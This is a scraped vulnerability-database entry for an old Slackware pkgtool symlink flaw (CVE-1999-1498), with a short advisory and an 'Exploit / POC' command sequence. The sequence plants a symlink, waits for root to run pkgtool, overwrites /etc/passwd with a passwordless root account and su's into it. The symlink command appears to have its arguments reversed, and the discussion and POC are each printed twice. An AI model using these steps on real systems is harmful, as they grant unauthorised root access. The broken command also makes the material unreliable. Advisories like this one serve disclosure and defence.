Slackware pkgtool temporary file Vulnerability
BID:82
Info
Slackware pkgtool temporary file Vulnerability
| Bugtraq ID: | 82 |
| Class: | Access Validation Error |
| CVE: |
CVE-1999-1498 |
| Remote: | No |
| Local: | No |
| Published: | Apr 06 1998 12:00AM |
| Updated: | Jul 11 2009 12:16AM |
| Credit: | Made public by neonhaze <[email protected]> and <[email protected]> in the BugTraq mailing list. |
| Vulnerable: |
Slackware Linux 3.4 |
| Not Vulnerable: | |
Discussion
Slackware pkgtool temporary file Vulnerability
pkgtool creates the file /tmp/reply insecurely and follows symbolic
links. An attacker can create a symbolic link from /tmp/reply to any file
and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.
pkgtool creates the file /tmp/reply insecurely and follows symbolic
links. An attacker can create a symbolic link from /tmp/reply to any file
and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.
Exploit / POC
Slackware pkgtool temporary file Vulnerability
$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd
$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd
References
Slackware pkgtool temporary file Vulnerability
References:
References: